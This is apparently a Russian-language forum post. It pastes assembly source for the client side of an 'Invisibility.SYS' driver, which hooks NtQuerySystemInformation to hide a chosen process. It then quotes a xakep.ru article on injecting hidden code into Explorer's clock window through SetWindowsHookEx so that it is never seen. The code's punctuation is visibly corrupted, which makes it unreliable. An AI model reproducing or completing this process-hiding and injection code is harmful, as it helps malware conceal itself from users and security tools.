надо использовать DeviceIoControl
нашел исходник на асме, но не пробовал лично
.CONST
szDrvSym DB "\\.\INVISIBILITY", 0
szErrDrvUnavailable DB "Invisibility.SYS driver not registered yet and/or not running !", 0
szNTDLL DB "NtDll", 0
szNQSI DB "NtQuerySystemInformation", 0
.DATA
hDrv DD -1
.CODE
FeedRunDriver PROC hDriver { HANDLE, PID
LOCAL buff { DWORD
DeviceIoControl
LOCAL dwcOut { DWORD
; pass ntdll!NtQuerySystemInformation address to driver
push offset szNTDLL
call LoadLibraryA
push offset szNQSI
push eax
call GetProcAddress
test eax, eax
jz @@exit
mov buff, eax
push NULL
lea eax, dwcOut
push eax
push 0
push NULL
push 4
lea eax, buff
push eax
push IOC_PROVIDE1 ; IO control code
push hDriver
call DeviceIoControl
; pass target PID to driver
push PID
pop buff
push NULL
lea eax, dwcOut
push eax
push 0
push NULL
push 4
lea eax, buff
push eax
push IOC_PROVIDE2
push hDriver
call DeviceIoControl
; pass user32!EnumWindows address 2 driver
APIAddressFromIT <EnumWindows>, <EAX>
mov buff, eax
push NULL
lea eax, dwcOut
push eax
push 0
push NULL
push 4
lea eax, buff
push eax
push IOC_PROVIDE3
push hDriver
call DeviceIoControl
; pass user32!GetWindowThreadProcessId address 2 driver
APIAddressFromIT <GetWindowThreadProcessId>, <EAX>
mov buff, eax
push NULL
lea eax, dwcOut
push eax
push 0
push NULL
push 4
lea eax, buff
push eax
push IOC_PROVIDE4
push hDriver
call DeviceIoControl
; command driver to install the hook
push NULL
lea eax, dwcOut
push eax
push 0
push NULL
push 0
push NULL
push IOC_HOOK
push hDriver
call DeviceIoControl
@@exit{
ret
FeedRunDriver ENDP
;
; Return type{ BOOL
;
; Remarks{ Handles errors alone via MsgBoxs
;
HideMyProcessNt PROC dwPID { DWORD
; get handle to our driver
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push 0
push GENERIC_READ or GENERIC_WRITE
push offset szDrvSym
call CreateFileA
mov hDrv, eax
inc eax
jnz @F
push MB_ICONERROR
push offset szErr
push offset szErrDrvUnavailable
push 0
call MessageBoxA
sub eax, eax
jmp @@exit
@@{
; pass infos 2 driver
push dwPID
push hDrv
call FeedRunDriver
@@exit{
ret
HideMyProcessNt ENDP
;
; Return value{ void
;
UnhideMyProcessNt PROC
LOCAL dwcOut { DWORD
; int 3
; command driver to unhook the NT service
push NULL
lea eax, dwcOut
push eax
push 0
push NULL
push 0
push NULL
push IOC_UNHOOK
push hDrv
call DeviceIoControl
; close driver handle
cmp hDrv, INVALID_HANDLE_VALUE
jz @F
push hDrv
call CloseHandle
@@{
ret
UnhideMyProcessNt ENDP
////////
;
; IO control codes for driver and client...
;
.CONST
; Defining I/O Control Codes
IO_USER_FUNC_CODE_BASE EQU )0800h:
METHOD_BUFFERED EQU )000h:
METHOD_IN_DIRECT EQU )001h:
METHOD_OUT_DIRECT EQU )002h:
METHOD_NEITHER EQU )003h:
; our user defined IO control codes
IOC_PROVIDE1 EQU )IO_USER_FUNC_CODE_BASE + 0100h: or METHOD_BUFFERED
IOC_PROVIDE2 EQU )IO_USER_FUNC_CODE_BASE + 0200h: or METHOD_BUFFERED
IOC_PROVIDE3 EQU )IO_USER_FUNC_CODE_BASE + 0300h: or METHOD_BUFFERED
IOC_PROVIDE4 EQU )IO_USER_FUNC_CODE_BASE + 0400h: or METHOD_BUFFERED
IOC_HOOK EQU )IO_USER_FUNC_CODE_BASE + 01000h: or METHOD_BUFFERED
IOC_UNHOOK EQU )IO_USER_FUNC_CODE_BASE + 01100h: or METHOD_BUFFERED
также нашел есть статья на xakep.ru
В последнее время интерес к программам-невидимкам снова возрос. В первую очередь это связано с появлением у рядовых пользователей WinXP. Эта ОСь, как известно, обладает всеми защитными особенностями линейки NT. И поэтому левые процессы стало “немножко” сложнее прятать от пользователя. Но и появление новых методов сокрытия присутствия существенно прибавилось . В данной статья я расскажу о новом способе “невидимости” (причём этот способ хорошо работает как в 9x, так и в XP). Суть его заключается в следующем: мы берём какую-либо программу, которая есть у более чем 90% пользователей и немножко изменяем её. (Из представленного ниже каркаса можно сделать всё что угодно!) Плюсы этого метода очевидны – раз заражённой нами прогой пользуются почти (а лучше без “почти”) все, то на неё никто ничего плохого не подумает, к тому же наш кусок кода НИГДЕ НЕ БУДЕТ ВИДЕН. Это актуально особенно для XP, так как в ней куча недокументированных функций (в том числе и для работы с процессами) и NtQuerySystemInformation не самая “опасная” для нас в данной ОСи. Так что осталось только выбрать прогу и приступить .
Мой выбор пал на Explorer . Он есть почти у всех счастливых обладателей виндовОза. Какую его часть мы будем мучить? Ну, например, посмотрим в левый нижний угол . Да, именно часы станут нашей жертвой.
Для начала немного теории. Наша программка будет состоять из 3-х файлов. (Exe – 1 штука, DLL – 2 штука ). Нашей задачей будет какая-либо вставка кода в “механизм часов”. Лучшее для этого дела место это оконная процедура окна класса TrayClockWClass. После выбора жертвы всё становиться просто. Получается так: Exe будет всё это запускать, одна из ДЛЛок будет содержать хук и проникать в процесс Explorer’а, другая же – будет содержать его новую оконную процедуру. Для проникновения мы воспользуемся SetWindowsHookEx с параметром WH_GETMESSAGE… Но сначала посмотрим на экзэшник. Его целью будет загрузка ДЛЛки с хуком, затем мы подождём немного (sleep(1000)), и пошлём часам мессагу, чтобы попасть в их процесс.